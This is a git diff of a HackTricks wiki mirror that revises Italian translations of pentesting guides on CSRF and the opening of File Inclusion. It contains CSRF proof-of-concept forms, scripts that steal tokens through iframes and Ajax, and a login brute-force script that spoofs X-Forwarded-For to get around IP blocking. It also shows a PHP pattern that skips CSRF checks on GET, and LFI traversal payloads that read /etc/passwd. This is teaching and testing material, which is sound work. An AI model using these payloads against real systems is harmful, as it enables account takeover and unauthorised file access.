mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent
This commit is contained in:
parent
a7b8c8d3c5
commit
d2723f100d
@ -4,83 +4,111 @@
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Spiegato
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Consente agli attaccanti di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che è connesso a una piattaforma vittima, visita un sito malevolo. Questo sito attiva quindi richieste all'account della vittima attraverso metodi come l'esecuzione di JavaScript, l'invio di moduli o il recupero di immagini.
|
||||
**Cross-Site Request Forgery (CSRF)** è un tipo di vulnerabilità di sicurezza presente nelle applicazioni web. Permette ad un attacker di eseguire azioni per conto di utenti ignari sfruttando le loro sessioni autenticate. L'attacco viene eseguito quando un utente, che ha effettuato il login sulla piattaforma della vittima, visita un sito malevolo. Questo sito poi genera richieste verso l'account della vittima tramite metodi come l'esecuzione di JavaScript, l'invio di form o il recupero di immagini.
|
||||
|
||||
### Requisiti per un Attacco CSRF
|
||||
### Requisiti per un attacco CSRF
|
||||
|
||||
Per sfruttare una vulnerabilità CSRF, devono essere soddisfatte diverse condizioni:
|
||||
|
||||
1. **Identificare un'Azione Preziosa**: L'attaccante deve trovare un'azione degna di sfruttamento, come cambiare la password dell'utente, l'email o elevare i privilegi.
|
||||
2. **Gestione della Sessione**: La sessione dell'utente deve essere gestita esclusivamente tramite cookie o l'intestazione di autenticazione di base HTTP, poiché altre intestazioni non possono essere manipolate a questo scopo.
|
||||
3. **Assenza di Parametri Imprevedibili**: La richiesta non dovrebbe contenere parametri imprevedibili, poiché possono impedire l'attacco.
|
||||
1. **Identificare un'azione di valore**: l'attacker deve trovare un'azione che valga la pena sfruttare, come cambiare la password dell'utente, l'email o elevare privilegi.
|
||||
2. **Gestione della sessione**: la sessione dell'utente dovrebbe essere gestita esclusivamente tramite cookies o l'HTTP Basic Authentication header, poiché altri header non possono essere manipolati per questo scopo.
|
||||
3. **Assenza di parametri imprevedibili**: la richiesta non dovrebbe contenere parametri imprevedibili, poiché questi possono impedire l'attacco.
|
||||
|
||||
### Controllo Rapido
|
||||
### Controllo rapido
|
||||
|
||||
Puoi **catturare la richiesta in Burp** e controllare le protezioni CSRF e per testare dal browser puoi cliccare su **Copia come fetch** e controllare la richiesta:
|
||||
Puoi catturare la richiesta con Burp e verificare le protezioni CSRF; per testarla dal browser puoi cliccare su **Copy as fetch** e controllare la richiesta:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Difesa Contro CSRF
|
||||
### Difese contro CSRF
|
||||
|
||||
Possono essere implementate diverse contromisure per proteggere contro gli attacchi CSRF:
|
||||
Possono essere implementate diverse contromisure per proteggere dagli attacchi CSRF:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Questo attributo impedisce al browser di inviare cookie insieme a richieste cross-site. [Ulteriori informazioni sui cookie SameSite](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): La politica CORS del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito vittima. [Scopri di più sul bypass CORS](cors-bypass.md).
|
||||
- **Verifica dell'Utente**: Richiedere la password dell'utente o risolvere un captcha può confermare l'intento dell'utente.
|
||||
- **Controllo delle Intestazioni Referrer o Origin**: Validare queste intestazioni può aiutare a garantire che le richieste provengano da fonti fidate. Tuttavia, una creazione attenta degli URL può eludere controlli mal implementati, come:
|
||||
- Utilizzare `http://mal.net?orig=http://example.com` (l'URL termina con l'URL fidato)
|
||||
- Utilizzare `http://example.com.mal.net` (l'URL inizia con l'URL fidato)
|
||||
- **Modifica dei Nomi dei Parametri**: Alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
|
||||
- **Token CSRF**: Incorporare un token CSRF unico in ogni sessione e richiedere questo token nelle richieste successive può ridurre significativamente il rischio di CSRF. L'efficacia del token può essere migliorata imponendo CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Questo attributo impedisce al browser di inviare i cookie insieme alle richieste cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): La CORS policy del sito vittima può influenzare la fattibilità dell'attacco, specialmente se l'attacco richiede di leggere la risposta dal sito vittima. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **Verifica dell'utente**: richiedere la password dell'utente o la risoluzione di un captcha può confermare l'intenzione dell'utente.
|
||||
- **Controllo dei Referrer o Origin Headers**: validare questi header può aiutare a garantire che le richieste provengano da fonti fidate. Tuttavia, un craft accurato degli URL può bypassare controlli mal implementati, come:
|
||||
- Usare `http://mal.net?orig=http://example.com` (l'URL termina con l'URL trusted)
|
||||
- Usare `http://example.com.mal.net` (l'URL inizia con l'URL trusted)
|
||||
- **Modificare i nomi dei parametri**: alterare i nomi dei parametri nelle richieste POST o GET può aiutare a prevenire attacchi automatizzati.
|
||||
- **CSRF Tokens**: incorporare un CSRF token unico per ogni sessione e richiedere questo token nelle richieste successive può mitigare significativamente il rischio di CSRF. L'efficacia del token può essere aumentata imponendo CORS.
|
||||
|
||||
Comprendere e implementare queste difese è cruciale per mantenere la sicurezza e l'integrità delle applicazioni web.
|
||||
|
||||
## Bypass delle Difese
|
||||
## Bypass delle difese
|
||||
|
||||
### Da POST a GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Forse il modulo che vuoi abusare è preparato per inviare una **richiesta POST con un token CSRF ma**, dovresti **controllare** se un **GET** è anche **valido** e se quando invii una richiesta GET il **token CSRF viene ancora convalidato**.
|
||||
Alcune applicazioni applicano la validazione CSRF solo su POST mentre la saltano per altri verbi. Un anti-pattern comune in PHP sembra:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Se l'endpoint vulnerabile accetta anche parametri da $_REQUEST, puoi rieseguire la stessa action come richiesta GET e omettere completamente il CSRF token. Questo converte un'azione disponibile solo via POST in un'azione GET che riesce senza token.
|
||||
|
||||
### Mancanza di Token
|
||||
Example:
|
||||
|
||||
Le applicazioni potrebbero implementare un meccanismo per **convalidare i token** quando sono presenti. Tuttavia, si verifica una vulnerabilità se la convalida viene completamente saltata quando il token è assente. Gli attaccanti possono sfruttare questo rimuovendo il parametro che trasporta il token, non solo il suo valore. Questo consente loro di eludere il processo di convalida e condurre efficacemente un attacco Cross-Site Request Forgery (CSRF).
|
||||
- Original POST with token (intended):
|
||||
|
||||
### Il Token CSRF non è Legato alla Sessione Utente
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
Le applicazioni **che non legano i token CSRF alle sessioni utente** presentano un significativo **rischio di sicurezza**. Questi sistemi verificano i token rispetto a un **pool globale** piuttosto che garantire che ogni token sia legato alla sessione iniziante.
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
Ecco come gli attaccanti sfruttano questo:
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
1. **Autenticarsi** utilizzando il proprio account.
|
||||
2. **Ottenere un token CSRF valido** dal pool globale.
|
||||
3. **Utilizzare questo token** in un attacco CSRF contro una vittima.
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Questa vulnerabilità consente agli attaccanti di effettuare richieste non autorizzate per conto della vittima, sfruttando il **meccanismo di convalida del token inadeguato** dell'applicazione.
|
||||
Notes:
|
||||
- Questo schema appare frequentemente insieme a reflected XSS quando le risposte vengono servite come text/html invece che application/json.
|
||||
- Abbinarlo a XSS riduce notevolmente le barriere di sfruttamento perché puoi consegnare un singolo link GET che innesca il percorso di codice vulnerabile e evita completamente i controlli CSRF.
|
||||
|
||||
### Bypass del Metodo
|
||||
### Mancanza del token
|
||||
|
||||
Se la richiesta utilizza un "**metodo strano**", controlla se la **funzionalità di override del metodo** funziona. Ad esempio, se sta **utilizzando un metodo PUT** puoi provare a **utilizzare un metodo POST** e **inviare**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Le applicazioni potrebbero implementare un meccanismo per **validare i token** quando sono presenti. Tuttavia, si verifica una vulnerabilità se la validazione viene saltata del tutto quando il token è assente. Gli attaccanti possono sfruttare questo **rimuovendo il parametro** che trasporta il token, non solo il suo valore. Questo permette loro di eludere il processo di validazione e condurre efficacemente un Cross-Site Request Forgery (CSRF) attack.
|
||||
|
||||
Questo potrebbe funzionare anche inviando il **parametro \_method all'interno di una richiesta POST** o utilizzando le **intestazioni**:
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Le applicazioni che **non legano i CSRF token alle sessioni utente** rappresentano un significativo **rischio per la sicurezza**. Questi sistemi verificano i token contro un **pool globale** invece di assicurarsi che ogni token sia vincolato alla sessione di origine.
|
||||
|
||||
Ecco come gli attaccanti lo sfruttano:
|
||||
|
||||
1. **Authenticate** usando il proprio account.
|
||||
2. **Obtain a valid CSRF token** dal pool globale.
|
||||
3. **Use this token** in un attacco CSRF contro una vittima.
|
||||
|
||||
Questa vulnerabilità permette agli attaccanti di effettuare richieste non autorizzate per conto della vittima, sfruttando il **meccanismo di validazione dei token inadeguato** dell'applicazione.
|
||||
|
||||
### Method bypass
|
||||
|
||||
Se la richiesta sta usando un metodo "**strano**" **method**, verifica se la **funzionalità di override del metodo** è attiva. Ad esempio, se sta **usando un PUT** puoi provare a **usare un POST** e **inviare**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Questo può funzionare anche inviando il **parametro \_method all'interno di una richiesta POST** o usando gli **headers**:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Bypass del Token dell'Intestazione Personalizzata
|
||||
### Custom header token bypass
|
||||
|
||||
Se la richiesta aggiunge un **intestazione personalizzata** con un **token** alla richiesta come **metodo di protezione CSRF**, allora:
|
||||
Se la richiesta aggiunge un **custom header** con un **token** come **metodo di protezione CSRF**, allora:
|
||||
|
||||
- Testa la richiesta senza il **Token Personalizzato e anche l'intestazione.**
|
||||
- Testa la richiesta con esattamente la **stessa lunghezza ma un token diverso**.
|
||||
- Testa la richiesta senza il **Customized Token** e senza l'header.
|
||||
- Testa la richiesta con un token di **esatta stessa lunghezza ma diverso**.
|
||||
|
||||
### Il Token CSRF è Verificato da un Cookie
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie che in un parametro di richiesta o impostando un cookie CSRF e verificando se il token inviato nel backend corrisponde al cookie. L'applicazione convalida le richieste controllando se il token nel parametro di richiesta si allinea con il valore nel cookie.
|
||||
Le applicazioni possono implementare la protezione CSRF duplicando il token sia in un cookie che in un parametro della richiesta o impostando un cookie CSRF e verificando se il token inviato al backend corrisponde al cookie. L'applicazione valida le richieste controllando se il token nel parametro della richiesta corrisponde al valore nel cookie.
|
||||
|
||||
Tuttavia, questo metodo è vulnerabile agli attacchi CSRF se il sito web presenta difetti che consentono a un attaccante di impostare un cookie CSRF nel browser della vittima, come una vulnerabilità CRLF. L'attaccante può sfruttare questo caricando un'immagine ingannevole che imposta il cookie, seguita dall'inizio dell'attacco CSRF.
|
||||
Tuttavia, questo metodo è vulnerabile agli attacchi CSRF se il sito web ha delle falle che permettono a un attaccante di impostare un cookie CSRF nel browser della vittima, come una vulnerabilità CRLF. L'attaccante può sfruttare ciò caricando un'immagine ingannevole che imposta il cookie, seguita dall'avvio dell'attacco CSRF.
|
||||
|
||||
Di seguito è riportato un esempio di come potrebbe essere strutturato un attacco:
|
||||
Di seguito un esempio di come un attacco potrebbe essere strutturato:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Nota che se il **csrf token è correlato con il cookie di sessione, questo attacco non funzionerà** perché dovrai impostare la sessione della vittima, e quindi stai attaccando te stesso.
|
||||
> Nota che se il **csrf token è correlato con il session cookie questo attacco non funzionerà** perché dovrai impostare la sessione della vittima sulla tua e quindi finirai per attaccare te stesso.
|
||||
|
||||
### Modifica del Content-Type
|
||||
### Cambiamento del Content-Type
|
||||
|
||||
Secondo [**questo**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), per **evitare richieste preflight** utilizzando il metodo **POST**, questi sono i valori di Content-Type consentiti:
|
||||
Secondo [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), per **evitare le preflight** requests usando il metodo **POST**, questi sono i valori Content-Type ammessi:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Tuttavia, nota che la **logica dei server può variare** a seconda del **Content-Type** utilizzato, quindi dovresti provare i valori menzionati e altri come **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Tuttavia, nota che la **logica del server può variare** a seconda del **Content-Type** usato, quindi dovresti provare i valori menzionati e altri come **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Esempio (da [qui](https://brycec.me/posts/corctf_2021_challenges)) di invio di dati JSON come text/plain:
|
||||
Esempio (da [here](https://brycec.me/posts/corctf_2021_challenges)) di inviare dati JSON come text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,31 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Bypassare le Richieste Preflight per Dati JSON
|
||||
### Bypassare le richieste preflight per i dati JSON
|
||||
|
||||
Quando si tenta di inviare dati JSON tramite una richiesta POST, utilizzare `Content-Type: application/json` in un modulo HTML non è direttamente possibile. Allo stesso modo, utilizzare `XMLHttpRequest` per inviare questo tipo di contenuto avvia una richiesta preflight. Tuttavia, ci sono strategie per potenzialmente aggirare questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
|
||||
Quando si tenta di inviare dati JSON tramite una richiesta POST, usare `Content-Type: application/json` in un form HTML non è direttamente possibile. Allo stesso modo, utilizzare `XMLHttpRequest` per inviare questo tipo di contenuto avvia una richiesta preflight. Tuttavia, esistono strategie per aggirare potenzialmente questa limitazione e verificare se il server elabora i dati JSON indipendentemente dal Content-Type:
|
||||
|
||||
1. **Usa Tipi di Contenuto Alternativi**: Impiega `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` impostando `enctype="text/plain"` nel modulo. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.
|
||||
2. **Modifica il Tipo di Contenuto**: Per evitare una richiesta preflight garantendo che il server riconosca il contenuto come JSON, puoi inviare i dati con `Content-Type: text/plain; application/json`. Questo non attiva una richiesta preflight ma potrebbe essere elaborato correttamente dal server se configurato per accettare `application/json`.
|
||||
3. **Utilizzo di File SWF Flash**: Un metodo meno comune ma fattibile prevede l'uso di un file SWF flash per aggirare tali restrizioni. Per una comprensione approfondita di questa tecnica, fai riferimento a [questo post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Usare tipi di Content-Type alternativi**: Utilizzare `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` impostando `enctype="text/plain"` nel form. Questo approccio verifica se il backend utilizza i dati indipendentemente dal Content-Type.
|
||||
2. **Modificare il Content-Type**: Per evitare una richiesta preflight e al contempo far riconoscere al server il contenuto come JSON, puoi inviare i dati con `Content-Type: text/plain; application/json`. Questo non innesca una richiesta preflight ma potrebbe essere elaborato correttamente dal server se è configurato per accettare `application/json`.
|
||||
3. **Utilizzo di file SWF/Flash**: Un metodo meno comune ma praticabile consiste nell'usare un file SWF per aggirare tali restrizioni. Per una comprensione approfondita di questa tecnica, fai riferimento a [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Bypassare il Controllo del Referrer / Origin
|
||||
### Bypass controllo Referrer / Origin
|
||||
|
||||
**Evitare l'intestazione Referrer**
|
||||
**Evitare l'header Referrer**
|
||||
|
||||
Le applicazioni possono convalidare l'intestazione 'Referer' solo quando è presente. Per impedire a un browser di inviare questa intestazione, è possibile utilizzare il seguente tag meta HTML:
|
||||
Le applicazioni possono validare l'header 'Referer' solo quando è presente. Per impedire che il browser invii questo header, può essere utilizzato il seguente meta tag HTML:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Questo assicura che l'intestazione 'Referer' venga omessa, potenzialmente eludendo i controlli di convalida in alcune applicazioni.
|
||||
Questo assicura che l'header 'Referer' venga omesso, potenzialmente bypassando i controlli di validazione in alcune applicazioni.
|
||||
|
||||
**Regexp bypasses**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri, puoi fare:
|
||||
Per impostare il nome di dominio del server nell'URL che il Referrer invierà all'interno dei parametri puoi fare:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -189,17 +218,17 @@ document.forms[0].submit()
|
||||
```
|
||||
### **Bypass del metodo HEAD**
|
||||
|
||||
La prima parte di [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [il codice sorgente di Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è impostato per **gestire le richieste HEAD come richieste GET** senza corpo di risposta - una soluzione comune che non è unica per Oak. Invece di un gestore specifico che si occupa delle richieste HEAD, esse vengono semplicemente **date al gestore GET ma l'app rimuove solo il corpo della risposta**.
|
||||
La prima parte di [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) spiega che [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), un router, è configurato per **handle HEAD requests as GET requests** senza corpo di risposta — una soluzione comune non unica di Oak. Invece di un handler specifico che si occupa delle HEAD reqs, queste vengono semplicemente **passate al GET handler ma l'app rimuove il corpo della risposta**.
|
||||
|
||||
Pertanto, se una richiesta GET è limitata, puoi semplicemente **inviare una richiesta HEAD che sarà elaborata come una richiesta GET**.
|
||||
Quindi, se una GET request è limitata, puoi semplicemente **inviare una HEAD request che verrà processata come una GET request**.
|
||||
|
||||
## **Esempi di Exploit**
|
||||
|
||||
### **Esfiltrazione del Token CSRF**
|
||||
### **Esfiltrazione CSRF Token**
|
||||
|
||||
Se un **token CSRF** viene utilizzato come **difesa**, puoi provare a **esfiltrarlo** abusando di una vulnerabilità [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o di una vulnerabilità [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
Se un **CSRF token** viene usato come **difesa** puoi provare a **esfiltrarlo** sfruttando una vulnerabilità [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o una vulnerabilità di [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET utilizzando tag HTML**
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
@ -234,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### Richiesta GET del modulo
|
||||
### Richiesta GET da form
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -252,7 +281,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Richiesta POST del modulo
|
||||
### Richiesta POST del form
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -280,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Invia richiesta POST tramite iframe
|
||||
### Richiesta Form POST tramite iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -303,7 +332,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Richiesta POST Ajax**
|
||||
### **Richiesta Ajax POST**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -332,7 +361,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### richiesta POST multipart/form-data
|
||||
### multipart/form-data richiesta POST
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -345,7 +374,7 @@ headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
mode: "no-cors",
|
||||
})
|
||||
```
|
||||
### richiesta POST multipart/form-data v2
|
||||
### multipart/form-data POST request v2
|
||||
```javascript
|
||||
// https://www.exploit-db.com/exploits/20009
|
||||
var fileSize = fileData.length,
|
||||
@ -373,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Inviare una richiesta POST da un iframe
|
||||
### Richiesta POST di un form all'interno di un iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -397,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Rubare il token CSRF e inviare una richiesta POST**
|
||||
### **Rubare il CSRF Token e inviare una POST request**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -444,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Rubare il token CSRF e inviare una richiesta Post utilizzando un iframe, un modulo e Ajax**
|
||||
### **Rubare CSRF Token e inviare una Post request usando un iframe, un form e Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -472,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Rubare il token CSRF e inviare una richiesta POST utilizzando un iframe e un modulo**
|
||||
### **Rubare CSRF Token e inviare una richiesta POST usando un iframe e un form**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -505,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Rubare il token e inviarlo utilizzando 2 iframe**
|
||||
### **Rubare il token e inviarlo usando 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -535,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTRuba il token CSRF con Ajax e invia un post con un modulo**
|
||||
### **POSTSteal CSRF token con Ajax e inviare un post con un form**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -588,7 +617,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Il codice può essere utilizzato per forzare un modulo di accesso utilizzando un token CSRF (utilizza anche l'intestazione X-Forwarded-For per cercare di bypassare un possibile blacklist IP):
|
||||
Il codice può essere usato per Brut Force un modulo di login usando un CSRF token (utilizza anche l'header X-Forwarded-For per provare a bypassare un possibile IP blacklisting):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -643,7 +672,6 @@ login(USER, line.strip())
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Migliore: Puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per impostazione predefinita (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Ideale: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Il server carica un file locale.
|
||||
|
||||
La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server.
|
||||
|
||||
Funzioni **PHP vulnerabili**: require, require_once, include, include_once
|
||||
Funzioni **PHP** vulnerabili: require, require_once, include, include_once
|
||||
|
||||
Uno strumento interessante per sfruttare questa vulnerabilità: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Mescolando diverse liste LFI \*nix e aggiungendo più percorsi, ho creato questa:**
|
||||
**Mescolando diverse \*nix liste LFI e aggiungendo altri percorsi ho creato questa:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
Prova anche a cambiare `/` con `\`\
|
||||
Prova anche ad aggiungere `../../../../../`
|
||||
|
||||
Una lista che utilizza diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Unione di diverse liste di parole:
|
||||
Unione di diverse wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -43,7 +43,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
|
||||
Prova anche a cambiare `/` con `\`\
|
||||
Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
|
||||
|
||||
Una lista che utilizza diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
@ -51,11 +51,11 @@ Controlla la lista LFI di linux.
|
||||
|
||||
## LFI di base e bypass
|
||||
|
||||
Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (pagina=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Tutti gli esempi sono per Local File Inclusion ma possono essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sequenze di traversamento rimosse non ricorsivamente
|
||||
### sequenze traversal rimosse non ricorsivamente
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Ignora l'aggiunta di più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
Bypassare l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Questo è **risolto da PHP 5.4**
|
||||
Questo è **risolto a partire da PHP 5.4**
|
||||
|
||||
### **Codifica**
|
||||
|
||||
Puoi utilizzare codifiche non standard come la doppia codifica URL (e altre):
|
||||
Puoi usare codifiche non standard come doppio URL encode (e altre):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
